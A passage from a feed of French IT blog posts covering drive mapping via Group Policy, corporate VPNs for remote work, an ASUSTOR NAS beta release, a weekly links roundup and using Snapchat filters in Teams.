<p><img class="aligncenter size-full wp-image-34681" src="media/cc79103f.gpo-lecteur-reseau-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-01.png" alt="" width="393" height="186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-01.png 393w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-01-150x71.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-01-160x76.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-01-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-01-390x186.png 390w" sizes="(max-width: 393px) 100vw, 393px" /></p>
<p>Modifiez la GPO que l'on vient de créer, et parcourez l'arborescence de cette façon : <strong>Configuration utilisateur &gt; Préférences &gt; Paramètres Windows &gt; Mappages de lecteur</strong>.</p>
<p><img class="aligncenter size-full wp-image-34680" src="media/3c192415.gpo-lecteur-reseau-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-02.png" alt="" width="755" height="333" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-02.png 755w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-02-550x243.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-02-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-02-160x71.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-02-50x22.png 50w" sizes="(max-width: 755px) 100vw, 755px" /></p>
<p>Sur la droite, effectuez un clic droit : <strong>Nouveau &gt; Lecteur mappé</strong>.</p>
<p><img class="aligncenter size-full wp-image-34679" src="media/40ed3262.gpo-lecteur-reseau-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-03.png" alt="" width="674" height="346" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-03.png 674w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-03-550x282.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-03-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-03-160x82.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-lecteur-reseau-03-50x26.png 50w" sizes="(max-width: 674px) 100vw, 674px" /></p>
<p>Maintenant, "<em>le plus dur</em>" reste à faire : saisir les informations utiles à la connexion du lecteur réseau. Nous avons les champs suivants à notre disposition :</p>
<ul>
<li><strong>Action</strong> : créer, mettre à jour, remplacer, supprimer (précisions ci-dessous)</li>
<li><strong>Emplacement</strong> : il s'agit du chemin UNC vers le partage réseau à connecter sur le poste client</li>
<li><strong>Reconnecter</strong> : rendre le lecteur réseau persistent si l'option est cochée, c'est-à-dire qu'il va se reconnecter à chaque ouverture de session</li>
<li><strong>Libeller en tant que</strong> : donner un nom personnalisé au lecteur réseau connecté</li>
<li><strong>Lettre de lecteur</strong> : lettre à utiliser par ce lecteur, un classique mais attention à un éventuel conflit vis-à-vis des lecteurs locaux</li>
</ul>
<p>L'option "<strong>Se connecter en tant que</strong>" est désactivée par Microsoft pour des raisons de sécurité : elle exposait les <em>credentials</em> dans les fichiers de la GPO, accessible via le dossier SYSVOL, ce qui était dangereux.</p>
<p>Revenons plus en détails sur l'option "<strong>Action</strong>" car elle est très importante et il faut bien la comprendre. Les différentes actions sont :</p>
<ul>
<li><strong>Créer</strong> : connecter un nouveau lecteur réseau pour cet utilisateur. Attention, la lettre à utiliser ne doit pas être déjà utilisée sinon il ne pourra pas se connecter</li>
<li><strong>Supprimer</strong> : déconnecter un lecteur réseau existant. S'il n'existe pas, l'action ne réalisera aucune action</li>
<li><strong>Remplacer</strong> : le lecteur réseau ciblé va être déconnecté (supprimé) puis reconnecté (créé) pour l'utilisateur</li>
<li><strong>Mettre à jour</strong> : le lecteur réseau va être connecté s'il ne l'est pas actuellement, et si il est déjà connecté il va être mis à jour pour intégrer les éventuels changements dans sa configuration. Contrairement à l'action "Remplacer", celle-ci ne supprime pas le lecteur réseau pour le recréer. Cette option est la plus souvent utiliser car c'est la plus flexible</li>
</ul>
<p>&nbsp;</p>
<blockquote><p><strong>Note</strong> : en phase de migration, il est intéressant d'utiliser l'action "Remplacer" pour être sur que le lecteur réseau va être supprimé puis recréé vers le nouveau partage. Lorsque la migration est finalisée et la situation stable, il est préférable de se satisfaire de l'option "Mettre à jour".</p></blockquote>
<p>Prenons l'exemple suivant : je souhaite monter le partage "<em>\\SRV-ADDS-01.it-connect.local\Partage$</em>" sur les sessions de mes utilisateurs, de façon persistante, en le nommant "<em>PARTAGE</em>" et utilisant la lettre "<em>P</em>". Ce qui donne :</p>
<p><img class="aligncenter size-full wp-image-34761" src="media/f822c69f.gpo-map-network-drive-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-01.png" alt="" width="499" height="572" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-01.png 499w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-01-131x150.png 131w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-01-140x160.png 140w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-01-44x50.png 44w" sizes="(max-width: 499px) 100vw, 499px" /></p>
<p>Après validation, le lecteur réseau va apparaître dans la GPO. Il est possible de configurer plusieurs actions de mappages de lecteurs dans la même GPO.</p>
<p><img class="aligncenter size-full wp-image-34762" src="media/428bfe4e.gpo-map-network-drive-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02.jpg" alt="" width="800" height="138" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02-550x95.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02-150x26.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02-768x132.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02-160x28.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-02-50x9.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>&nbsp;</p>
<h2>III. Tester la GPO</h2>
<p>La GPO étant configurée, il est temps de tester ! Pour cela, il vous suffit de vous connecter sur un poste du domaine avec un compte ciblé par la GPO actuelle et disposant des autorisations nécessaires pour connecter ce partage via un lecteur réseau.</p>
<p>Il est vrai que nous n'avons pas abordé la partie "<em>création du partage</em>" et la gestion des droits, que ce soit au niveau du partage ou des droits du système de fichiers (NTFS...), je vous laisse le soin de réaliser ces actions en amont.</p>
<p>Grâce à la GPO définie précédemment, le lecteur réseau se connecte, avec le bon nom et la lettre associée 👍😉</p>
<p><img class="aligncenter size-full wp-image-34764" src="media/ff04df3c.gpo-map-network-drive-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03.png" alt="" width="800" height="224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03-550x154.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03-150x42.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03-768x215.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03-160x45.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-03-50x14.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>IV. Lecteur réseau et ciblage</h2>
<p>Comme je le disais, il est possible de connecter plusieurs lecteurs réseaux dans la même GPO. Cela est d'autant plus intéressant lorsque l'on associe cette possibilité au fait de pouvoir réaliser un ciblage particulier au niveau de chaque lecteur réseau. Pour finir ce tutoriel, nous allons aborder cette notion, <strong>ce qui peut permettre d'avoir une seule GPO pour connecter vos lecteurs réseaux, même si tous les utilisateurs ne doivent pas avoir les mêmes lecteurs.</strong></p>
<p>Pour rappel, l'accès aux options de ciblage s'effectue au niveau de chaque élément créé, c'est-à-dire pour chaque lecteur réseau déclaré dans la GPO, en cliquant sur l'onglet "Commun". Ensuite, il faut cocher l'option "<em>Ciblage au niveau de l'élément</em>" et cliquer sur le bouton "<em>Ciblage</em>".</p>
<p>L'éditeur de cible va s'ouvrir, ensuite libre à vous de monter le lecteur réseau en fonction d'un critère spécifique en fonction de vos règles de gestion habituelles : basée sur l'appartenance à un groupe de sécurité ou sur une unité d'organisation, par exemple.</p>
<p><img class="aligncenter size-full wp-image-34770" src="media/06bd6188.gpo-map-network-drive-targeting-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-01.jpg" alt="" width="764" height="734" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-01.jpg 764w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-01-550x528.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-01-150x144.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-01-160x154.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-01-50x48.jpg 50w" sizes="(max-width: 764px) 100vw, 764px" /></p>
<p>Grâce à cette méthode vous allez pouvoir centraliser la gestion des lecteurs réseaux dans une GPO unique, même si vos utilisateurs ne doivent pas avoir les mêmes lecteurs réseaux. <strong>Pour que le lecteur réseau soit supprimé si l'utilisateur n'est plus membre du groupe de sécurité en question, il faut ajouter un second lecteur réseau avec l'action "Supprimer" et créer un ciblage inverse</strong> : <em>l'utilisateur <span style="text-decoration: underline;">n'est pas</span> membre du groupe de sécurité XXX</em>. C'est le ciblage qui fera la différence.</p>
<p>Ce qui donne :</p>
<p><img class="aligncenter size-full wp-image-34772" src="media/0df237e7.gpo-map-network-drive-targeting-02222.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222.png" alt="" width="800" height="106" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222-550x73.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222-150x20.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222-768x102.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222-160x21.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/gpo-map-network-drive-targeting-02222-50x7.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Astuce</strong> : pour gagner du temps, dans l'éditeur de stratégie de groupe, vous pouvez faire un copier-coller d'un lecteur réseau 😉</p>


feed_id: https://www.it-connect.fr/?p=34951
title: Télétravail et entreprise : à quoi sert un accès VPN ?
uri: Télétravail-et-entreprise-à-quoi-sert-un-accès-VPN
url: https://www.it-connect.fr/teletravail-et-entreprise-a-quoi-sert-un-acces-vpn/
content:
<p><strong>A cause de la pandémie du Covid-19, de nombreuses entreprises ont plus que jamais recours au télétravail pour leurs salariés. Cette notion de télétravail est étroitement liée à celle du VPN pour les entreprises. Explications.</strong></p>
<h2>La situation "habituelle"</h2>
<p>En entreprise, lorsque vous travaillez au bureau depuis votre ordinateur, <strong>vous avez accès aux ressources sur les serveurs de l'entreprise par l'intermédiaire de la connexion réseau local</strong>. Cette connexion au réseau local s'effectue en Wi-Fi ou en filaire à l'aide d'un câble RJ45. L'accès aux ressources, que ce soit les fichiers, la messagerie électronique ou les applications métiers, s'effectue alors tout naturellement.</p>
<p>En revanche, lorsque vous quittez le bureau avec votre ordinateur portable sous le bras, c'est différent. En effet, vous n'êtes plus connecté au réseau de votre entreprise. Vous êtes connecté depuis votre domicile, depuis le MacDo du coin ou depuis le réseau de l'un de vos clients. A partir de ce moment-là, <strong>vous n'êtes plus en mesure de joindre les serveurs de votre entreprise car vous n'êtes plus sur le même réseau</strong> : vous êtes considéré comme étant sur Internet du point de vue du réseau de votre entreprise.</p>
<p>Dans ce cas, la connexion aux ressources de votre entreprise est impossible. <strong>A moins que vous utilisez des services Cloud comme Office 365 et que vos fichiers soient stockés sur OneDrive et SharePoint, ou</strong> que vous utilisez une application web disponible sur Internet directement ou hébergée par l'un de vos partenaires. En général, la messagerie électronique est accessible depuis "n'importe où" à partir de votre PC et votre smartphone pour faciliter l'accès aux e-mails car c'est généralement indispensable. Sauf que, toutes les entreprises n'en sont pas au même niveau dans leur transformation numérique et bien souvent, certaines données et services sont accessibles uniquement depuis le réseau local (et ce n'est pas plus mal).</p>
<h2>La situation "télétravail"</h2>
<p><strong>Si vos données et les applications métiers sont hébergées sur des serveurs situés dans les locaux de votre entreprise, vous allez devoir réaliser un accès à distance à ces ressources.</strong> Plusieurs solutions sont possibles, mais bien souvent les entreprises mettent à disposition des salariés un accès VPN. <strong>Cet accès VPN va permettre d'établir une connexion sécurisée entre votre ordinateur et le réseau de votre entreprise</strong>, permettant ainsi l'accès à vos fichiers et applications professionnelles.</p>
<p>C'est donc à cela que sert un accès VPN pour une entreprise, vous comprenez alors tout l'intérêt d'un tel outil lorsque l'on se retrouve en télétravail. Le VPN crée une sorte d'extension du réseau de votre entreprise jusqu'à votre PC afin de simuler les accès comme si vous étiez sur place, physiquement. Néanmoins, en fonction des usages<strong> la réactivité ne sera probablement pas la même : vous êtes dépendant de la qualité de la connexion Internet de votre domicile mais aussi de celle de votre entreprise.</strong> Vous êtes également dépendant de l'activité de vos collègues qui sont eux aussi connectés en VPN : la bande-passante de la connexion Internet de votre entreprise n'est pas illimitée.</p>
<p>Reste au service informatique de votre entreprise à sécuriser au mieux cet accès VPN et à vous renseigner sur les bonnes pratiques en matière d'usage. D'ailleurs, la majorité de ces bonnes pratiques s'appliquent également lorsque vous êtes au bureau dans une situation habituelle : <strong>sur Internet et avec la messagerie électronique, la vigilance doit être constante et quotidienne.</strong> La connexion Internet de votre domicile ne bénéficie surement pas des mêmes protections que celle fournie par votre entreprise, donc faites attention. Si un collaborateur attrape un virus sur Internet et que celui-ci passe dans le VPN et qu'il remonte jusqu'au serveur de l'entreprise, cela peut être très préjudiciable. <em>A méditer.</em></p>
<h2>Quid des VPN grand public ?</h2>
<p>Maintenant que vous avez bien conscience de l'intérêt d'une connexion VPN pour les entreprises, notamment en phase de télétravail, il faut savoir qu'il existe un autre type de VPN plutôt destiné à un usage personnel.</p>
<p>Ces solutions VPN sont très nombreuses, ouvertes à tous, bien souvent payantes et sont utilisées principalement pour :</p>
<ul>
<li>La protection de la vie privée sur Internet grâce au surf anonyme (plus ou moins)</li>
<li>Contourner les restrictions géographiques pour l'accès à certains contenus</li>
</ul>
<p>Si ce sujet vous intéresse et que vous souhaitez en savoir plus sur les différents fournisseurs de VPN, je vous invite à lire ce <a href="https://www.opportunites-digitales.com/comparatif-vpn" target="_blank" rel="noopener noreferrer">dossier des meilleurs VPN disponibles sur le marché par Opportunités Digitales</a>. Bonne lecture.</p>


feed_id: https://www.it-connect.fr/?p=34992
title: NAS ASUSTOR : ADM 3.5 en bêta, quelles nouveautés ?
uri: NAS-ASUSTOR-ADM-3-5-en-bêta-quelles-nouveautés
url: https://www.it-connect.fr/nas-asustor-adm-3-5-en-beta-quelles-nouveautes/
content:
<p><strong>ASUSTOR travaille sur la future version majeure de son système ADM et vient de publier la version ADM 3.5 en version bêta. Quelles sont les nouveautés de cette version ? Éléments de réponse.</strong></p>
<ul>
<li><strong>Nouveau widget pour regrouper les paramètres</strong></li>
</ul>
<p>ADM va intégrer un nouveau widget au sein d'une nouvelle interface redessinée dans le but de regrouper dans une même zone les fonctions situées dans plusieurs zones. En fait, vont être regroupées les fonctions des préférences, des services et du contrôle d'accès, dans une même interface. L'objectif est de rendre la navigation plus simple et plus efficace.</p>
<ul>
<li><strong>Nouveautés de MyArchive</strong></li>
</ul>
<p>La solution d'archivage de données MyArchive est dotée de fonctionnalités supplémentaires. D'une part, le système de fichiers Btrfs est supporté, ce qui va apporter par extension le support des snapshots et le versioning.</p>
<p>En complément, l'Explorateur de fichiers d'ADM reçoit lui aussi une mise à jour pour vous permettre de naviguer au sein des snapshots de vos disques MyArchive. L'intérêt est de pouvoir restaurer facilement la version antérieure d'un fichier.</p>
<p>Cette nouveauté sera disponible sur les modèles suivants : AS31, 32, 40, 50, 51, 61, 62, 63, 64, 70, Nimbustor et Lockerstor.</p>
<p><img class="aligncenter size-full wp-image-34993" src="media/fa4c9878.asustor-btrfs.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/asustor-btrfs.jpg" alt="" width="600" height="258" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/asustor-btrfs.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/asustor-btrfs-550x237.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/asustor-btrfs-150x65.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/asustor-btrfs-160x69.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/asustor-btrfs-50x22.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<ul>
<li><strong>Nouveautés avec EZ Sync</strong></li>
</ul>
<p>L'outil de synchronisation EZ Sync se retrouve lui aussi plus intégré à l'interface d'ADM et vient rejoindre également l'Explorateur de fichiers. Désormais, des données, que ce soit des fichiers ou des dossiers, peuvent être déplacées vers ou depuis un dossier EZ Sync par simple glisser-déposer.</p>
<p><img class="aligncenter size-full wp-image-34994" src="media/53d508a4.ezsync-adm-3.5.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/ezsync-adm-3.5.jpg" alt="" width="599" height="244" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/ezsync-adm-3.5.jpg 599w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/ezsync-adm-3.5-550x224.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/ezsync-adm-3.5-150x61.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/ezsync-adm-3.5-160x65.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/ezsync-adm-3.5-50x20.jpg 50w" sizes="(max-width: 599px) 100vw, 599px" /></p>
<ul>
<li><strong>Téléchargement</strong></li>
</ul>
<p>En complément des nouveautés citées ci-dessus, ASUSTOR a également corrigé divers bugs dans cette nouvelle mouture. Si vous avez l'âme d'un bêta-testeur, vous pouvez l'installer sur votre NAS (à vos risques et périls).</p>
<p>L'ADM 3.5 est disponible ici : <a href="https://www.asustor.com/betaProgram/submitForm" target="_blank" rel="nofollow noopener noreferrer">ADM Bêta Program</a></p>
<p>Si vous rencontrez des bugs, vous pouvez les remonter via cette page : <a href="https://support.asustor.com/index.php?/Default/Tickets/Submit" target="_blank" rel="nofollow noopener noreferrer">Bug Report</a></p>


feed_id: https://www.it-connect.fr/?p=34949
title: #LinksOfTheWeek n°22 : Power Platform, VPN CloudFlare, CO2, etc.
uri: LinksOfTheWeek-n-22-Power-Platform-VPN-CloudFlare-CO2-etc
url: https://www.it-connect.fr/linksoftheweek-n22-power-platform-vpn-cloudflare-co2-etc/
content:
<p>Hello à tous ! J'espère que tout se passe bien de votre côté... Il fait beau mais le confinement est toujours là alors certains pourront en profiter plus que d'autres... Quoi qu'il en soit, voici un peu de lecture (rapide) à consommer, que ce soit dans le canapé ou dans le transat sur la terrasse.</p>
<p>✅<strong> - Mise à jour de sécurité pour Firefox</strong></p>
<p>Depuis lundi, une nouvelle mise à jour de Firefox est sortie et celle-ci corrige une vulnérabilité critique. Il est vivement recommandé de mettre à jour le navigateur... Cette mise à jour est également disponible sur la branche ESR. <a href="https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-010/" target="_blank" rel="noopener noreferrer">Lien</a></p>
<p>✅<strong> - Microsoft Power Platform Fundamentals</strong></p>
<p>Si vous désirez préparer la certification "<em>Microsoft Power Platform Fundamentals</em>" qui s'articule autour des outils Power Bi, Power Apps et Power Automate, alors cet article devrait vous intéresser. En effet, de nombreuses ressources sont référencées et fournies, notamment des présentations PowerPoint, pour vous guider vers la voie du succès. <a href="https://stanislas.io/2020/04/03/preparation-guide-for-pl-900-microsoft-power-platform-fundamentals-certification/" target="_blank" rel="noopener noreferrer">Lien</a></p>
<p>✅<strong> - VPN CloudFlare</strong></p>
<p>CloudFlare vient de lancer son service de VPN en version bêta, et gratuitement, pour Windows et MacOS. Sur mobile, il existe depuis 2019 au travers de l'application 1.1.1.1 qui compte plus de 10 millions de téléchargements sur Android. <a href="https://www.presse-citron.net/le-vpn-de-cloudflare-debarque-sur-windows-et-macos/" target="_blank" rel="noopener noreferrer">Lien</a></p>
<p>✅<strong> - E-mails et CO2</strong></p>
<p>Chez Faguo, un article intéressant pour sensibiliser sur l'impact carbone des e-mails a vu le jour. Je vous recommande cette lecture intéressante, où l'on en apprend plus sur les émissions de CO2 générées par les e-mails, même ceux stockés dans votre boîte e-mail. Et oui, car c'est bien l'infrastructure pour héberger les e-mails et les faire transiter sur le réseau qui génère ces émissions de CO2... <a href="https://www.faguo-store.com/fr/2020/04/31-millions-de-mails-supprimes-31-tonnes-de-co2-evitees/" target="_blank" rel="noopener noreferrer">Lien</a></p>
<p>✅<strong> - Linux s'invite dans l'explorateur de fichiers Windows 10</strong></p>
<p>Au sein de la future version de Windows 10, Microsoft va intégrer Linux directement dans l'explorateur de fichiers de Windows, à la manière de OneDrive. Ainsi, <em>Windows Subsystem for Linux</em> va s'intégrer un peu plus à Windows 10. <a href="https://www.zdnet.com/article/microsoft-adds-file-explorer-integration-to-windows-subsystem-for-linux-in-new-windows-10-fast-ring-build/" target="_blank" rel="noopener noreferrer">Lien</a></p>
<p>✅<strong> - Zoom et les critiques</strong></p>
<p>Je n'ai rien contre l'outil Zoom, c'est juste que je ne l'utilise pas... Et finalement, quand je lis cet article je me disais que j'ai surement raison. Pas de chiffrement bout-en-bout, des espions dans les réunions, des failles de sécurité... <a href="https://www.01net.com/actualites/zoom-5-bonnes-raisons-de-ne-pas-utiliser-ce-service-de-visioconference-1888182.html/amp/" target="_blank" rel="noopener noreferrer">Lien</a></p>
<p>✅<strong> - Teams, PowerPoint et bande-passante</strong></p>
<p>Voici comment diffuser un PowerPoint via Teams tout en limitant au maximum l'utilisation de la bande-passante.</p>
<p><iframe class="iframe_youtube" src="https://www.youtube.com/embed/1PtDGmpXJj4" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>


feed_id: https://www.it-connect.fr/?p=34905
title: Fun : comment utiliser les filtres Snapchat avec Teams ?
uri: Fun-comment-utiliser-les-filtres-Snapchat-avec-Teams
url: https://www.it-connect.fr/fun-comment-utiliser-les-filtres-snapchat-avec-teams/
content:
<h2>I. Présentation</h2>
<p><strong>Avec le temps que l'on passe sur Teams, Skype ou autre ces derniers temps, je me suis dit que ça pourrait être cool de vous montrer comment utiliser les filtres Snapchat sur Windows 10 pour les utiliser avec Teams ou un autre logiciel. Plutôt fun ! 🤪</strong></p>
<p>Pour utiliser les filtres Snapchat sur PC, nous allons simplement utiliser le logiciel Snap Camera, proposé par Snapchat directement. Il y a un choix très large au niveau des filtres car c'est alimenté directement par la communauté donc il y a de quoi s'amuser !</p>
<p>Pour commencer, je vous propose de le télécharger gratuitement à cette adresse : <a href="https://snapcamera.snapchat.com/download/" target="_blank" rel="nofollow noopener noreferrer">Snap Camera</a></p>
<p>Lorsque le téléchargement est terminé, procédez à l'installation : rien de particulier, il suffit de suivre l'assistant.</p>
<p><img class="aligncenter size-full wp-image-34906" src="media/39d164da.teams-filtre-snap-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-01.jpg" alt="" width="600" height="445" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-01.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-01-550x408.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-01-150x111.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-01-160x119.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-01-50x37.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<h2>II. Configurer Snap Camera</h2>
<p>Si vous ouvrez Snap Camera, vous devriez voir votre webcam s'activer. Ensuite, il suffit de cliquer sur un filtre en dessous pour l'activer. L'activation n'est pas instantanée car il faut patienter le temps que le filtre sélectionné soit téléchargé sur votre PC. En appuayant sur les boutons "Take photo" et "Take video" vous pouvez déclencher une prise de vue ou démarrer l'enregistrement d'une vidéo.</p>
<p><img class="aligncenter size-full wp-image-34907" src="media/8ba0f851.teams-filtre-snap-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-02.jpg" alt="" width="600" height="614" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-02.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-02-550x563.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-02-147x150.jpg 147w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-02-156x160.jpg 156w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-02-50x50.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Si vous cliquez sur l'icône paramètres en haut à droite de l'application, vous pouvez vérifier que votre webcam est bien sélectionnée. Par défaut, Snap Camera est configuré pour démarrer automatiquement en même temps que Windows, si vous désirez changer ce comportement, décochez la case "<em>Run Snap Camera on system startup</em>".</p>
<p><img class="aligncenter size-full wp-image-34908" src="media/f2081a7e.teams-filtre-snap-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03.jpg" alt="" width="800" height="433" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03-550x298.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03-150x81.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03-768x416.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03-160x87.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-03-50x27.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>III. Les filtres Snapchat dans Teams</h2>
<p>Pour profiter des <strong>filtres Snapchat dans Teams</strong>, il faut vérifier que la caméra "<strong>Snap Camera</strong>" est bien définie dans le logiciel.</p>
<p>Pour cela, ouvrez le logiciel Teams, cliquez sur votre avatar en haut à droite, puis sur "<strong>Paramètres</strong>".</p>
<p><img class="aligncenter size-full wp-image-34909" src="media/1ce41952.teams-filtre-snap-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-04.jpg" alt="" width="600" height="381" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-04.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-04-550x349.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-04-150x95.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-04-160x102.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-04-50x32.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Sur la gauche, cliquez sur "<strong>Périphériques</strong>" et descendez dans la page... Au niveau de l'option "<strong>Caméra</strong>" vous devez sélectionner "<strong>Snap Camera</strong>" si ce n'est pas déjà le cas. Validez.</p>
<p>Pour utiliser Snap Camera dans un autre logiciel, Skype par exemple, la logique reste la même, vous devez définir cette caméra par défaut dans le logiciel.</p>
